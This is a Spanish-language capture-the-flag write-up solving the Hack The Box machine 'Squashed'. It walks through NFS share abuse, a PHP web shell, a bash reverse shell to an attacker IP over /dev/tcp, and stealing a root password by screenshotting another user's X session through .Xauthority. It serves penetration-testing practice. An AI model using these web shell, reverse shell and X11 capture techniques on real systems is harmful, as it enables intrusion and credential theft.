Post

Squashed - Hack The Box

En esta máquina se toca estos temas: Abusar de los propietarios asignados a los recursos compartidos de NFS mediante la creación de nuevos usuarios en el sistema (Obtener acceso a la raíz web). Creación de un shell web para obtener acceso al sistema. Abuso del archivo .Xauthority (Pentesting X11). Tomar una captura de pantalla de la pantalla de otro usuario.

Squashed - Hack The Box

Introducción 📄

El presente Write Up explica los pasos para resolver la máquina Squashed de la plataforma HackTheBox.

Reconocimiento de Puertos 🔍

Como siempre antes de escanear los puertos con Nmap le hacemos un ping a la maquina victima para ver si esta viva y nos responde.

Figure 1: Traza ICMP.

En este caso nos responde y me arroja una TTL de 63, por lo que acercarse a 64, me enfrento a una máquina Linux.

Table 1: Información sobre el TTL y Sistema Operativo.
TTLSistema Operativo
64Linux

Una vez que ya me comunique con la maquina y extraje el dato que es se trata de una maquina Linux, procedo a desplegar la herramienta Nmap.

1
2
3
# Primer con nmap  para sacar los puertos abiertos de la máquina
--------------------------------------------------------------
nmap -p- -n --open -sV --min-rate 5000 -vvv -n -Pn 10.10.11.191 

Figure 2: Primer Escaneo con Nmap.

1
2
3
# Segundo escaneo con los scripts default de nmap y tambien sacamos  la Versión y Servicio que tiran los puertos escaneados anteriormente 
--------------------------------------------------------------
nmap -sC -sV -p22,80,111,2049,39033 10.10.11.191

Figure 3: Segundo Escaneo con Nmap.

Puerto 2049

Por lo que veo, obtengo esta información y me doy cuenta que hay petisiones nfs en el Puerto 2049, al ser mi primera maquina de HackTheBox , acudo a HackTricks para saber sobre NFS.

1
2
3
# Primero hay que avriguar  que carpetas tiene el servidor disponibles para montar, lo averiguamos con este comando
--------------------------------------------------------------------------------
showmount -e <IP>

Figure 4: Directorios Obtenidos.

Obtengo estos dos directorios:

Table 2: Rutas Obtenidas.
Rutas
/home/ross/var/www/html

Y para montar estos dos directorios, me creo dos directorios llamados /mnt/ross y /mnt/web_server en el directorio /mnt y luego los monto.

1
2
3
4
5
6
7
# Creo los directorios
----------------------
sudo mkdir /mnt/ross
sudo mkdir /mnt/web_server
# Monto los directorios en cada carpeta
sudo mount 10.10.11.191:/home/ross /mnt/ross
sudo mount 10.10.11.191:/var/www/html /mnt/web_server

Una vez que hecho esto, listo los directorios a ver que encuentro…

Figure 5: Listado de Directorios.

Veo que existe un archivo Passwords.kdbx que básicamente su extension .kdbx indica que es la base de datos que usa keepass para almacenar las contraseñas, tambien se ve que en directorio ./we_server no despliega nada, voy a ver si puedo acceder a el…

Figure 6: Directorio we_server

Ok no tengo acceso a el, voy a ver que usuario tiene acceso el directorio.

Figure 7: Usuario con bajos privilegios.

Ok pensando un poco podria burlar el user1 creando uno en mi maquina.

Figure 8: Listado del Directorio web_server

Como estoy en el directorio del servidor web y veo el archivo index.html , probare intentar cargar un archivo .php para poder poder ejecutar cualquier comando en la URL.

1
2
3
<?php   
    echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>

Una ves ejecutado este script puedo ejecutar cualquier comando en la URL.

Figure 9: Ejecución de Comandos en la URL.

Entonces puedo crear una Reverse Shell, pero antes me pongo en escucha con el puerto 1337 (en mi caso)

1
2
3
# Reverse Shell, encodear co el signo % al signo &
----------------------
bash -c "bash -i >%26 /dev/tcp/<IP ATACANTE>/1337 0>%261"

Figure 10: Reverse Shell Obtenida.

Antes de continuar actualizo la tty.

1
2
3
4
5
6
7
8
9
> script /dev/null -c bash
--------------------------
> Ctrl+z
--------------------------
> stty raw -echo; fg 
        reset xterm
--------------------------
export TERM=xterm
export SHELL=bash

Escalada de Privilegios .Xauthority ☣️

Para conseguir la escalada de privilegios sigo estos pasos:

  • Primero me creo otro usuario para tener acceso al archivo .Xauthority.

  • Pero no tengo acceso al archivo.

Figure 11: Usuario Sin Privilegios.

  • Monto un servidor http con python3 en el puerto 8080 en el usuario que me cree hace un momento.
1
2
3
# Servidor python3 
------------------
python3 -m http.server 8080

No lo puedo leer, entonces saco un screenshot a la seccion keepas abierta del usuario.

1
2
3
# Ejecuto el comando sacado de HakcTricks y lo guardo como archivo screenshot.xwd
------------------
xwd -root -screen -silent -display :0 > screenshot.xwd

Figure 12: Archivo Guardado en Formato .xwd

Lo siguiente que hago es migrar a mi usuario de Kali para ponerme en escucha en el puerto 443, haci enviarme el archivo screenshot.xwd, dicho archivo se encuentra en el usuario alex.

1
2
3
# Covierto el archivo .xwd a .png (esto comando se encuentra en HackTricks, el enlace anteriormente mencionado)
------------------
convert screenshot.xwd screenshot.png

Figure 13: Convirtiendo Archivo .xwd a .png

Abro el screenshot y listo ahi se ve la password.

Figure 14: Screenshot.

Por ultimo me dirijo al usuario alex y con las password cah$mei7rai9A para comvertirme en usuario root.

Figure 15: Flag del User root.

Ya tenemos acceso a la Flag.